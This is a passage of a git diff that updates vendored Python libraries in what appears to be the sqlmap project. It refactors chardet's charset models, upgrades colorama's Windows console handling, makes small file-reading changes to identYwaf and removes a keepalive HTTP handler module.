-0,0,1,0,0,0,0,0,0,0,0,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -) +ISO_8859_9_TURKISH_MODEL = SingleByteCharSetModel(charset_name='ISO-8859-9', + language='Turkish', + char_to_order_map=ISO_8859_9_TURKISH_CHAR_TO_ORDER, + language_model=TURKISH_LANG_MODEL, + typical_positive_ratio=0.97029, + keep_ascii_letters=True, + alphabet='ABCDEFGHIJKLMNOPRSTUVYZabcdefghijklmnoprstuvyzÂÇÎÖÛÜâçîöûüĞğİıŞş') -Latin5TurkishModel = { - 'char_to_order_map': Latin5_TurkishCharToOrderMap, - 'precedence_matrix': TurkishLangModel, - 'typical_positive_ratio': 0.970290, - 'keep_english_letter': True, - 'charset_name': "ISO-8859-9", - 'language': 'Turkish', -} diff --git a/thirdparty/chardet/sbcharsetprober.py b/thirdparty/chardet/sbcharsetprober.py index 0adb51de5a2..46ba835c66c 100644 --- a/thirdparty/chardet/sbcharsetprober.py +++ b/thirdparty/chardet/sbcharsetprober.py @@ -26,10 +26,22 @@ # 02110-1301 USA ######################### END LICENSE BLOCK ######################### +from collections import namedtuple + from .charsetprober import CharSetProber from .enums import CharacterCategory, ProbingState, SequenceLikelihood +SingleByteCharSetModel = namedtuple('SingleByteCharSetModel', + ['charset_name', + 'language', + 'char_to_order_map', + 'language_model', + 'typical_positive_ratio', + 'keep_ascii_letters', + 'alphabet']) + + class SingleByteCharSetProber(CharSetProber): SAMPLE_SIZE = 64 SB_ENOUGH_REL_THRESHOLD = 1024 # 0.25 * SAMPLE_SIZE^2 @@ -65,25 +77,25 @@ def charset_name(self): if self._name_prober: return self._name_prober.charset_name else: - return self._model['charset_name'] + return self._model.charset_name @property def language(self): if self._name_prober: return self._name_prober.language else: - return self._model.get('language') + return self._model.language def feed(self, byte_str): - if not self._model['keep_english_letter']: + # TODO: Make filter_international_words keep things in self.alphabet + if not self._model.keep_ascii_letters: byte_str = self.filter_international_words(byte_str) if not byte_str: return self.state - char_to_order_map = self._model['char_to_order_map'] - for i, c in enumerate(byte_str): - # XXX: Order is in range 1-64, so one would think we want 0-63 here, - # but that leads to 27 more test failures than before. - order = char_to_order_map[c] + char_to_order_map = self._model.char_to_order_map + language_model = self._model.language_model + for char in byte_str: + order = char_to_order_map.get(char, CharacterCategory.UNDEFINED) # XXX: This was SYMBOL_CAT_ORDER before, with a value of 250, but # CharacterCategory.SYMBOL is actually 253, so we use CONTROL # to make it closer to the original intent. The only difference @@ -91,20 +103,21 @@ def feed(self, byte_str): # _total_char purposes. if order < CharacterCategory.CONTROL: self._total_char += 1 + # TODO: Follow uchardet's lead and discount confidence for frequent + # control characters. + # See https://github.com/BYVoid/uchardet/commit/55b4f23971db61 if order < self.SAMPLE_SIZE: self._freq_char += 1 if self._last_order < self.SAMPLE_SIZE: self._total_seqs += 1 if not self._reversed: - i = (self._last_order * self.SAMPLE_SIZE) + order - model = self._model['precedence_matrix'][i] - else: # reverse the order of the letters in the lookup - i = (order * self.SAMPLE_SIZE) + self._last_order - model = self._model['precedence_matrix'][i] - self._seq_counters[model] += 1 + lm_cat = language_model[self._last_order][order] + else: + lm_cat = language_model[order][self._last_order] + self._seq_counters[lm_cat] += 1 self._last_order = order - charset_name = self._model['charset_name'] + charset_name = self._model.charset_name if self.state == ProbingState.DETECTING: if self._total_seqs > self.SB_ENOUGH_REL_THRESHOLD: confidence = self.get_confidence() @@ -125,7 +138,7 @@ def get_confidence(self): r = 0.01 if self._total_seqs > 0: r = ((1.0 * self._seq_counters[SequenceLikelihood.POSITIVE]) / - self._total_seqs / self._model['typical_positive_ratio']) + self._total_seqs / self._model.typical_positive_ratio) r = r * self._freq_char / self._total_char if r >= 1.0: r = 0.99 diff --git a/thirdparty/chardet/sbcsgroupprober.py b/thirdparty/chardet/sbcsgroupprober.py index 98e95dc1a3c..bdeef4e15b0 100644 --- a/thirdparty/chardet/sbcsgroupprober.py +++ b/thirdparty/chardet/sbcsgroupprober.py @@ -27,47 +27,57 @@ ######################### END LICENSE BLOCK ######################### from .charsetgroupprober import CharSetGroupProber -from .sbcharsetprober import SingleByteCharSetProber -from .langcyrillicmodel import (Win1251CyrillicModel, Koi8rModel, - Latin5CyrillicModel, MacCyrillicModel, - Ibm866Model, Ibm855Model) -from .langgreekmodel import Latin7GreekModel, Win1253GreekModel -from .langbulgarianmodel import Latin5BulgarianModel, Win1251BulgarianModel -# from .langhungarianmodel import Latin2HungarianModel, Win1250HungarianModel -from .langthaimodel import TIS620ThaiModel -from .langhebrewmodel import Win1255HebrewModel from .hebrewprober import HebrewProber -from .langturkishmodel import Latin5TurkishModel +from .langbulgarianmodel import (ISO_8859_5_BULGARIAN_MODEL, + WINDOWS_1251_BULGARIAN_MODEL) +from .langgreekmodel import ISO_8859_7_GREEK_MODEL, WINDOWS_1253_GREEK_MODEL +from .langhebrewmodel import WINDOWS_1255_HEBREW_MODEL +# from .langhungarianmodel import (ISO_8859_2_HUNGARIAN_MODEL, +# WINDOWS_1250_HUNGARIAN_MODEL) +from .langrussianmodel import (IBM855_RUSSIAN_MODEL, IBM866_RUSSIAN_MODEL, + ISO_8859_5_RUSSIAN_MODEL, KOI8_R_RUSSIAN_MODEL, + MACCYRILLIC_RUSSIAN_MODEL, + WINDOWS_1251_RUSSIAN_MODEL) +from .langthaimodel import TIS_620_THAI_MODEL +from .langturkishmodel import ISO_8859_9_TURKISH_MODEL +from .sbcharsetprober import SingleByteCharSetProber class SBCSGroupProber(CharSetGroupProber): def __init__(self): super(SBCSGroupProber, self).__init__() + hebrew_prober = HebrewProber() + logical_hebrew_prober = SingleByteCharSetProber(WINDOWS_1255_HEBREW_MODEL, + False, hebrew_prober) + # TODO: See if using ISO-8859-8 Hebrew model works better here, since + # it's actually the visual one + visual_hebrew_prober = SingleByteCharSetProber(WINDOWS_1255_HEBREW_MODEL, + True, hebrew_prober) + hebrew_prober.set_model_probers(logical_hebrew_prober, + visual_hebrew_prober) + # TODO: ORDER MATTERS HERE. I changed the order vs what was in master + # and several tests failed that did not before. Some thought + # should be put into the ordering, and we should consider making + # order not matter here, because that is very counter-intuitive. self.probers = [ - SingleByteCharSetProber(Win1251CyrillicModel), - SingleByteCharSetProber(Koi8rModel), - SingleByteCharSetProber(Latin5CyrillicModel), - SingleByteCharSetProber(MacCyrillicModel), - SingleByteCharSetProber(Ibm866Model), - SingleByteCharSetProber(Ibm855Model), - SingleByteCharSetProber(Latin7GreekModel), - SingleByteCharSetProber(Win1253GreekModel), - SingleByteCharSetProber(Latin5BulgarianModel), - SingleByteCharSetProber(Win1251BulgarianModel), + SingleByteCharSetProber(WINDOWS_1251_RUSSIAN_MODEL), + SingleByteCharSetProber(KOI8_R_RUSSIAN_MODEL), + SingleByteCharSetProber(ISO_8859_5_RUSSIAN_MODEL), + SingleByteCharSetProber(MACCYRILLIC_RUSSIAN_MODEL), + SingleByteCharSetProber(IBM866_RUSSIAN_MODEL), + SingleByteCharSetProber(IBM855_RUSSIAN_MODEL), + SingleByteCharSetProber(ISO_8859_7_GREEK_MODEL), + SingleByteCharSetProber(WINDOWS_1253_GREEK_MODEL), + SingleByteCharSetProber(ISO_8859_5_BULGARIAN_MODEL), + SingleByteCharSetProber(WINDOWS_1251_BULGARIAN_MODEL), # TODO: Restore Hungarian encodings (iso-8859-2 and windows-1250) # after we retrain model. - # SingleByteCharSetProber(Latin2HungarianModel), - # SingleByteCharSetProber(Win1250HungarianModel), - SingleByteCharSetProber(TIS620ThaiModel), - SingleByteCharSetProber(Latin5TurkishModel), + # SingleByteCharSetProber(ISO_8859_2_HUNGARIAN_MODEL), + # SingleByteCharSetProber(WINDOWS_1250_HUNGARIAN_MODEL), + SingleByteCharSetProber(TIS_620_THAI_MODEL), + SingleByteCharSetProber(ISO_8859_9_TURKISH_MODEL), + hebrew_prober, + logical_hebrew_prober, + visual_hebrew_prober, ] - hebrew_prober = HebrewProber() - logical_hebrew_prober = SingleByteCharSetProber(Win1255HebrewModel, - False, hebrew_prober) - visual_hebrew_prober = SingleByteCharSetProber(Win1255HebrewModel, True, - hebrew_prober) - hebrew_prober.set_model_probers(logical_hebrew_prober, visual_hebrew_prober) - self.probers.extend([hebrew_prober, logical_hebrew_prober, - visual_hebrew_prober]) - self.reset() diff --git a/thirdparty/chardet/universaldetector.py b/thirdparty/chardet/universaldetector.py index 7b4e92d6158..055a8ac1b1d 100644 --- a/thirdparty/chardet/universaldetector.py +++ b/thirdparty/chardet/universaldetector.py @@ -266,7 +266,7 @@ def close(self): 'language': max_prober.language} # Log all prober confidences if none met MINIMUM_THRESHOLD - if self.logger.getEffectiveLevel() == logging.DEBUG: + if self.logger.getEffectiveLevel() <= logging.DEBUG: if self.result['encoding'] is None: self.logger.debug('no probers hit minimum threshold') for group_prober in self._charset_probers: @@ -280,7 +280,7 @@ def close(self): prober.get_confidence()) else: self.logger.debug('%s %s confidence = %s', - prober.charset_name, - prober.language, - prober.get_confidence()) + group_prober.charset_name, + group_prober.language, + group_prober.get_confidence()) return self.result diff --git a/thirdparty/chardet/version.py b/thirdparty/chardet/version.py index bb2a34a70ea..70369b9d663 100644 --- a/thirdparty/chardet/version.py +++ b/thirdparty/chardet/version.py @@ -5,5 +5,5 @@ :author: Dan Blanchard (dan.blanchard@gmail.com) """ -__version__ = "3.0.4" +__version__ = "4.0.0" VERSION = __version__.split('.') diff --git a/thirdparty/colorama/__init__.py b/thirdparty/colorama/__init__.py index 670e6b3970b..383101cdb38 100644 --- a/thirdparty/colorama/__init__.py +++ b/thirdparty/colorama/__init__.py @@ -1,7 +1,7 @@ # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -from .initialise import init, deinit, reinit, colorama_text +from .initialise import init, deinit, reinit, colorama_text, just_fix_windows_console from .ansi import Fore, Back, Style, Cursor from .ansitowin32 import AnsiToWin32 -__version__ = '0.3.7' +__version__ = '0.4.6' diff --git a/thirdparty/colorama/ansi.py b/thirdparty/colorama/ansi.py index 78776588db9..11ec695ff79 100644 --- a/thirdparty/colorama/ansi.py +++ b/thirdparty/colorama/ansi.py @@ -6,7 +6,7 @@ CSI = '\033[' OSC = '\033]' -BEL = '\007' +BEL = '\a' def code_to_chars(code): diff --git a/thirdparty/colorama/ansitowin32.py b/thirdparty/colorama/ansitowin32.py index 2776763cb68..97a2403a5cb 100644 --- a/thirdparty/colorama/ansitowin32.py +++ b/thirdparty/colorama/ansitowin32.py @@ -3,8 +3,8 @@ import sys import os -from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style -from .winterm import WinTerm, WinColor, WinStyle +from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style, BEL +from .winterm import enable_vt_processing, WinTerm, WinColor, WinStyle from .win32 import windll, winapi_test @@ -13,14 +13,6 @@ winterm = WinTerm() -def is_stream_closed(stream): - return not hasattr(stream, 'closed') or stream.closed - - -def is_a_tty(stream): - return hasattr(stream, 'isatty') and stream.isatty() - - class StreamWrapper(object): ''' Wraps a stream (such as stdout), acting as a transparent proxy for all @@ -36,9 +28,46 @@ def __init__(self, wrapped, converter): def __getattr__(self, name): return getattr(self.__wrapped, name) + def __enter__(self, *args, **kwargs): + # special method lookup bypasses __getattr__/__getattribute__, see + # https://stackoverflow.com/questions/12632894/why-doesnt-getattr-work-with-exit + # thus, contextlib magic methods are not proxied via __getattr__ + return self.__wrapped.__enter__(*args, **kwargs) + + def __exit__(self, *args, **kwargs): + return self.__wrapped.__exit__(*args, **kwargs) + + def __setstate__(self, state): + self.__dict__ = state + + def __getstate__(self): + return self.__dict__ + def write(self, text): self.__convertor.write(text) + def isatty(self): + stream = self.__wrapped + if 'PYCHARM_HOSTED' in os.environ: + if stream is not None and (stream is sys.__stdout__ or stream is sys.__stderr__): + return True + try: + stream_isatty = stream.isatty + except AttributeError: + return False + else: + return stream_isatty() + + @property + def closed(self): + stream = self.__wrapped + try: + return stream.closed + # AttributeError in the case that the stream doesn't support being closed + # ValueError for the case that the stream has already been detached when atexit runs + except (AttributeError, ValueError): + return True + class AnsiToWin32(object): ''' @@ -46,8 +75,8 @@ class AnsiToWin32(object): sequences from the text, and if outputting to a tty, will convert them into win32 function calls. ''' - ANSI_CSI_RE = re.compile('\001?\033\\[((?:\\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer - ANSI_OSC_RE = re.compile('\001?\033\\]([^\a]*)(\a)\002?') # Operating System Command (Note: https://github.com/tartley/colorama/issues/247) + ANSI_CSI_RE = re.compile('\001?\033\\[((?:\\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer + ANSI_OSC_RE = re.compile('\001?\033\\]([^\a]*)(\a)\002?') # Operating System Command (sqlmap: safe pattern for #4220) def __init__(self, wrapped, convert=None, strip=None, autoreset=False): # The wrapped stream (normally sys.stdout or sys.stderr) @@ -65,15 +94,22 @@ def __init__(self, wrapped, convert=None, strip=None, autoreset=False): # (e.g. Cygwin Terminal). In this case it's up to the terminal # to support the ANSI codes. conversion_supported = on_windows and winapi_test() + try: + fd = wrapped.fileno() + except Exception: + fd = -1 + system_has_native_ansi = not on_windows or enable_vt_processing(fd) + have_tty = not self.stream.closed and self.stream.isatty() + need_conversion = conversion_supported and not system_has_native_ansi # should we strip ANSI sequences from our output? if strip is None: - strip = conversion_supported or (not is_stream_closed(wrapped) and not is_a_tty(wrapped)) + strip = need_conversion or not have_tty self.strip = strip # should we should convert ANSI sequences into win32 calls? if convert is None: - convert = conversion_supported and not is_stream_closed(wrapped) and is_a_tty(wrapped) + convert = need_conversion and have_tty self.convert = convert # dict of ansi codes to win32 functions and parameters @@ -149,7 +185,7 @@ def write(self, text): def reset_all(self): if self.convert: self.call_win32('m', (0,)) - elif not self.strip and not is_stream_closed(self.wrapped): + elif not self.strip and not self.stream.closed: self.wrapped.write(Style.RESET_ALL) @@ -183,10 +219,11 @@ def _write(self, text, retry=5): except IOError as err: if not (err.errno == 0 and retry > 0): raise - self._write(text, retry-1) + self._write(text, retry - 1) except UnicodeError: self.wrapped.write('?') + def convert_ansi(self, paramstring, command): if self.convert: params = self.extract_params(command, paramstring) @@ -238,11 +275,16 @@ def convert_osc(self, text): start, end = match.span() text = text[:start] + text[end:] paramstring, command = match.groups() - if command in '\x07': # \x07 = BEL - params = paramstring.split(";") - # 0 - change title and icon (we will only change title) - # 1 - change icon (we don't support this) - # 2 - change title - if params[0] in '02': - winterm.set_title(params[1]) + if command == BEL: + if paramstring.count(";") == 1: + params = paramstring.split(";") + # 0 - change title and icon (we will only change title) + # 1 - change icon (we don't support this) + # 2 - change title + # if params[0] in '02': + # winterm.set_title(params[1]) return text + + + def flush(self): + self.wrapped.flush() diff --git a/thirdparty/colorama/initialise.py b/thirdparty/colorama/initialise.py index a996d078842..d5fd4b71fed 100644 --- a/thirdparty/colorama/initialise.py +++ b/thirdparty/colorama/initialise.py @@ -6,13 +6,27 @@ from .ansitowin32 import AnsiToWin32 -orig_stdout = None -orig_stderr = None +def _wipe_internal_state_for_tests(): + global orig_stdout, orig_stderr + orig_stdout = None + orig_stderr = None + + global wrapped_stdout, wrapped_stderr + wrapped_stdout = None + wrapped_stderr = None -wrapped_stdout = None -wrapped_stderr = None + global atexit_done + atexit_done = False + + global fixed_windows_console + fixed_windows_console = False -atexit_done = False + try: + # no-op if it wasn't registered + atexit.unregister(reset_all) + except AttributeError: + # python 2: no atexit.unregister. Oh well, we did our best. + pass def reset_all(): @@ -21,15 +35,13 @@ def reset_all(): def init(autoreset=False, convert=None, strip=None, wrap=True): - global wrapped_stdout, wrapped_stderr - global orig_stdout, orig_stderr - - if orig_stdout is not None: - return if not wrap and any([autoreset, convert, strip]): raise ValueError('wrap=False conflicts with any other arg=True') + global wrapped_stdout, wrapped_stderr + global orig_stdout, orig_stderr + orig_stdout = sys.stdout orig_stderr = sys.stderr @@ -51,17 +63,35 @@ def init(autoreset=False, convert=None, strip=None, wrap=True): def deinit(): - global orig_stdout - global orig_stderr - if orig_stdout is not None: sys.stdout = orig_stdout - orig_stdout = None if orig_stderr is not None: sys.stderr = orig_stderr - orig_stderr = None +def just_fix_windows_console(): + global fixed_windows_console + + if sys.platform != "win32": + return + if fixed_windows_console: + return + if wrapped_stdout is not None or wrapped_stderr is not None: + # Someone already ran init() and it did stuff, so we won't second-guess them + return + + # On newer versions of Windows, AnsiToWin32.__init__ will implicitly enable the + # native ANSI support in the console as a side-effect. We only need to actually + # replace sys.stdout/stderr if we're in the old-style conversion mode. + new_stdout = AnsiToWin32(sys.stdout, convert=None, strip=None, autoreset=False) + if new_stdout.convert: + sys.stdout = new_stdout + new_stderr = AnsiToWin32(sys.stderr, convert=None, strip=None, autoreset=False) + if new_stderr.convert: + sys.stderr = new_stderr + + fixed_windows_console = True + @contextlib.contextmanager def colorama_text(*args, **kwargs): init(*args, **kwargs) @@ -87,3 +117,5 @@ def wrap_stream(stream, convert, strip, autoreset, wrap): return stream +# Use this for initial setup as well, to reduce code duplication +_wipe_internal_state_for_tests() diff --git a/thirdparty/colorama/win32.py b/thirdparty/colorama/win32.py index 3d1d2f2d918..841b0e270a3 100644 --- a/thirdparty/colorama/win32.py +++ b/thirdparty/colorama/win32.py @@ -4,6 +4,8 @@ STDOUT = -11 STDERR = -12 +ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004 + try: import ctypes from ctypes import LibraryLoader @@ -83,33 +85,45 @@ def __str__(self): ] _FillConsoleOutputAttribute.restype = wintypes.BOOL - _SetConsoleTitleW = windll.kernel32.SetConsoleTitleA + _SetConsoleTitleW = windll.kernel32.SetConsoleTitleW _SetConsoleTitleW.argtypes = [ - wintypes.LPCSTR + wintypes.LPCWSTR ] _SetConsoleTitleW.restype = wintypes.BOOL - handles = { - STDOUT: _GetStdHandle(STDOUT), - STDERR: _GetStdHandle(STDERR), - } + _GetConsoleMode = windll.kernel32.GetConsoleMode + _GetConsoleMode.argtypes = [ + wintypes.HANDLE, + POINTER(wintypes.DWORD) + ] + _GetConsoleMode.restype = wintypes.BOOL - def winapi_test(): - handle = handles[STDOUT] + _SetConsoleMode = windll.kernel32.SetConsoleMode + _SetConsoleMode.argtypes = [ + wintypes.HANDLE, + wintypes.DWORD + ] + _SetConsoleMode.restype = wintypes.BOOL + + def _winapi_test(handle): csbi = CONSOLE_SCREEN_BUFFER_INFO() success = _GetConsoleScreenBufferInfo( handle, byref(csbi)) return bool(success) + def winapi_test(): + return any(_winapi_test(h) for h in + (_GetStdHandle(STDOUT), _GetStdHandle(STDERR))) + def GetConsoleScreenBufferInfo(stream_id=STDOUT): - handle = handles[stream_id] + handle = _GetStdHandle(stream_id) csbi = CONSOLE_SCREEN_BUFFER_INFO() success = _GetConsoleScreenBufferInfo( handle, byref(csbi)) return csbi def SetConsoleTextAttribute(stream_id, attrs): - handle = handles[stream_id] + handle = _GetStdHandle(stream_id) return _SetConsoleTextAttribute(handle, attrs) def SetConsoleCursorPosition(stream_id, position, adjust=True): @@ -127,11 +141,11 @@ def SetConsoleCursorPosition(stream_id, position, adjust=True): adjusted_position.Y += sr.Top adjusted_position.X += sr.Left # Resume normal processing - handle = handles[stream_id] + handle = _GetStdHandle(stream_id) return _SetConsoleCursorPosition(handle, adjusted_position) def FillConsoleOutputCharacter(stream_id, char, length, start): - handle = handles[stream_id] + handle = _GetStdHandle(stream_id) char = c_char(char.encode()) length = wintypes.DWORD(length) num_written = wintypes.DWORD(0) @@ -142,7 +156,7 @@ def FillConsoleOutputCharacter(stream_id, char, length, start): def FillConsoleOutputAttribute(stream_id, attr, length, start): ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' - handle = handles[stream_id] + handle = _GetStdHandle(stream_id) attribute = wintypes.WORD(attr) length = wintypes.DWORD(length) num_written = wintypes.DWORD(0) @@ -152,3 +166,15 @@ def FillConsoleOutputAttribute(stream_id, attr, length, start): def SetConsoleTitle(title): return _SetConsoleTitleW(title) + + def GetConsoleMode(handle): + mode = wintypes.DWORD() + success = _GetConsoleMode(handle, byref(mode)) + if not success: + raise ctypes.WinError() + return mode.value + + def SetConsoleMode(handle, mode): + success = _SetConsoleMode(handle, mode) + if not success: + raise ctypes.WinError() diff --git a/thirdparty/colorama/winterm.py b/thirdparty/colorama/winterm.py index b7c2404b74b..aad867e8c80 100644 --- a/thirdparty/colorama/winterm.py +++ b/thirdparty/colorama/winterm.py @@ -1,6 +1,12 @@ # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -from . import win32 +try: + from msvcrt import get_osfhandle +except ImportError: + def get_osfhandle(_): + raise OSError("This isn't windows!") + +from . import win32 # from wincon.h class WinColor(object): @@ -44,6 +50,7 @@ def set_attrs(self, value): def reset_all(self, on_stderr=None): self.set_attrs(self._default) self.set_console(attrs=self._default) + self._light = 0 def fore(self, fore=None, light=False, on_stderr=False): if fore is None: @@ -122,13 +129,14 @@ def erase_screen(self, mode=0, on_stderr=False): if mode == 0: from_coord = csbi.dwCursorPosition cells_to_erase = cells_in_screen - cells_before_cursor - if mode == 1: + elif mode == 1: from_coord = win32.COORD(0, 0) cells_to_erase = cells_before_cursor elif mode == 2: from_coord = win32.COORD(0, 0) cells_to_erase = cells_in_screen else: + # invalid mode return # fill the entire screen with blanks win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) @@ -149,13 +157,14 @@ def erase_line(self, mode=0, on_stderr=False): if mode == 0: from_coord = csbi.dwCursorPosition cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X - if mode == 1: + elif mode == 1: from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) cells_to_erase = csbi.dwCursorPosition.X elif mode == 2: from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) cells_to_erase = csbi.dwSize.X else: + # invalid mode return # fill the entire screen with blanks win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) @@ -164,3 +173,23 @@ def erase_line(self, mode=0, on_stderr=False): def set_title(self, title): win32.SetConsoleTitle(title) + + +def enable_vt_processing(fd): + if win32.windll is None or not win32.winapi_test(): + return False + + try: + handle = get_osfhandle(fd) + mode = win32.GetConsoleMode(handle) + win32.SetConsoleMode( + handle, + mode | win32.ENABLE_VIRTUAL_TERMINAL_PROCESSING, + ) + + mode = win32.GetConsoleMode(handle) + if mode & win32.ENABLE_VIRTUAL_TERMINAL_PROCESSING: + return True + # Can get TypeError in testsuite where 'fd' is a Mock() + except (OSError, TypeError): + return False diff --git a/thirdparty/identywaf/identYwaf.py b/thirdparty/identywaf/identYwaf.py index 0b70d1f4102..b67fe8e8edc 100755 --- a/thirdparty/identywaf/identYwaf.py +++ b/thirdparty/identywaf/identYwaf.py @@ -63,11 +63,11 @@ VERSION = "1.0.131" BANNER = r""" ` __ __ ` - ____ ___ ___ ____ ______ `| T T` __ __ ____ _____ + ____ ___ ___ ____ ______ `| T T` __ __ ____ _____ l j| \ / _]| \ | T`| | |`| T__T T / T| __| | T | \ / [_ | _ Yl_j l_j`| ~ |`| | | |Y o || l_ | | | D YY _]| | | | | `|___ |`| | | || || _| - j l | || [_ | | | | | `| !` \ / | | || ] + j l | || [_ | | | | | `| !` \ / | | || ] |____jl_____jl_____jl__j__j l__j `l____/ ` \_/\_/ l__j__jl__j (%s)%s""".strip("\n") % (VERSION, "\n") RAW, TEXT, HTTPCODE, SERVER, TITLE, HTML, URL = xrange(7) @@ -338,7 +338,7 @@ def load_data(): global WAF_RECOGNITION_REGEX if os.path.isfile(DATA_JSON_FILE): - with codecs.open(DATA_JSON_FILE, "rb", encoding="utf8") as f: + with open(DATA_JSON_FILE, "r") as f: DATA_JSON.update(json.load(f)) WAF_RECOGNITION_REGEX = "" @@ -371,7 +371,7 @@ def init(): if os.path.isfile(options.proxy_file): print(colorize("[o] loading proxy list...")) - with codecs.open(options.proxy_file, "rb", encoding="utf8") as f: + with open(options.proxy_file, "r") as f: proxies.extend(re.sub(r"\s.*", "", _.strip()) for _ in f.read().strip().split('\n') if _.startswith("http")) random.shuffle(proxies) else: diff --git a/thirdparty/keepalive/__init__.py b/thirdparty/keepalive/__init__.py deleted file mode 100644 index 08a0be4d99a..00000000000 --- a/thirdparty/keepalive/__init__.py +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env python -# -# Copyright 2002-2003 Michael D. Stenner -# -# This program is free software: you can redistribute it and/or modify it -# under the terms of the GNU Lesser General Public License as published -# by the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public License -# along with this program. If not, see . -# - -pass diff --git a/thirdparty/keepalive/keepalive.py b/thirdparty/keepalive/keepalive.py deleted file mode 100644 index 2dda424e685..00000000000 --- a/thirdparty/keepalive/keepalive.py +++ /dev/null @@ -1,649 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the -# Free Software Foundation, Inc., -# 59 Temple Place, Suite 330, -# Boston, MA 02111-1307 USA - -# This file was part of urlgrabber, a high-level cross-protocol url-grabber -# Copyright 2002-2004 Michael D. Stenner, Ryan Tomayko -# Copyright 2015 Sergio Fernández - -"""An HTTP handler for urllib2 that supports HTTP 1.1 and keepalive. - ->>> import urllib2 ->>> from keepalive import HTTPHandler ->>> keepalive_handler = HTTPHandler() ->>> opener = _urllib.request.build_opener(keepalive_handler) ->>> _urllib.request.install_opener(opener) ->>> ->>> fo = _urllib.request.urlopen('http://www.python.org') - -If a connection to a given host is requested, and all of the existing -connections are still in use, another connection will be opened. If -the handler tries to use an existing connection but it fails in some -way, it will be closed and removed from the pool. - -To remove the handler, simply re-run build_opener with no arguments, and -install that opener. - -You can explicitly close connections by using the close_connection() -method of the returned file-like object (described below) or you can -use the handler methods: - - close_connection(host) - close_all() - open_connections() - -NOTE: using the close_connection and close_all methods of the handler -should be done with care when using multiple threads. - * there is nothing that prevents another thread from creating new - connections immediately after connections are closed - * no checks are done to prevent in-use connections from being closed - ->>> keepalive_handler.close_all() - -EXTRA ATTRIBUTES AND METHODS - - Upon a status of 200, the object returned has a few additional - attributes and methods, which should not be used if you want to - remain consistent with the normal urllib2-returned objects: - - close_connection() - close the connection to the host - readlines() - you know, readlines() - status - the return status (ie 404) - reason - english translation of status (ie 'File not found') - - If you want the best of both worlds, use this inside an - AttributeError-catching try: - - >>> try: status = fo.status - >>> except AttributeError: status = None - - Unfortunately, these are ONLY there if status == 200, so it's not - easy to distinguish between non-200 responses. The reason is that - urllib2 tries to do clever things with error codes 301, 302, 401, - and 407, and it wraps the object upon return. - - For python versions earlier than 2.4, you can avoid this fancy error - handling by setting the module-level global HANDLE_ERRORS to zero. - You see, prior to 2.4, it's the HTTP Handler's job to determine what - to handle specially, and what to just pass up. HANDLE_ERRORS == 0 - means "pass everything up". In python 2.4, however, this job no - longer belongs to the HTTP Handler and is now done by a NEW handler, - HTTPErrorProcessor. Here's the bottom line: - - python version < 2.4 - HANDLE_ERRORS == 1 (default) pass up 200, treat the rest as - errors - HANDLE_ERRORS == 0 pass everything up, error processing is - left to the calling code - python version >= 2.4 - HANDLE_ERRORS == 1 pass up 200, treat the rest as errors - HANDLE_ERRORS == 0 (default) pass everything up, let the - other handlers (specifically, - HTTPErrorProcessor) decide what to do - - In practice, setting the variable either way makes little difference - in python 2.4, so for the most consistent behavior across versions, - you probably just want to use the defaults, which will give you - exceptions on errors. - -""" - -from __future__ import print_function - -try: - from thirdparty.six.moves import http_client as _http_client - from thirdparty.six.moves import range as _range - from thirdparty.six.moves import urllib as _urllib -except ImportError: - from six.moves import http_client as _http_client - from six.moves import range as _range - from six.moves import urllib as _urllib - -import socket -import threading - -DEBUG = None - -import sys -if sys.version_info < (2, 4): HANDLE_ERRORS = 1 -else: HANDLE_ERRORS = 0 - -class ConnectionManager: - """ - The connection manager must be able to: - * keep track of all existing - """ - def __init__(self): - self._lock = threading.Lock() - self._hostmap = {} # map hosts to a list of connections - self._connmap = {} # map connections to host - self._readymap = {} # map connection to ready state - - def add(self, host, connection, ready): - self._lock.acquire() - try: - if host not in self._hostmap: self._hostmap[host] = [] - self._hostmap[host].append(connection) - self._connmap[connection] = host - self._readymap[connection] = ready - finally: - self._lock.release() - - def remove(self, connection): - self._lock.acquire() - try: - try: - host = self._connmap[connection] - except KeyError: - pass - else: - del self._connmap[connection] - del self._readymap[connection] - self._hostmap[host].remove(connection) - if not self._hostmap[host]: del self._hostmap[host] - finally: - self._lock.release() - - def set_ready(self, connection, ready): - try: self._readymap[connection] = ready - except KeyError: pass - - def get_ready_conn(self, host): - conn = None - try: - self._lock.acquire() - if host in self._hostmap: - for c in self._hostmap[host]: - if self._readymap.get(c): - self._readymap[c] = 0 - conn = c - break - finally: - self._lock.release() - return conn - - def get_all(self, host=None): - if host: - return list(self._hostmap.get(host, [])) - else: - return dict(self._hostmap) - -class KeepAliveHandler: - def __init__(self): - self._cm = ConnectionManager() - - #### Connection Management - def open_connections(self): - """return a list of connected hosts and the number of connections - to each. [('foo.com:80', 2), ('bar.org', 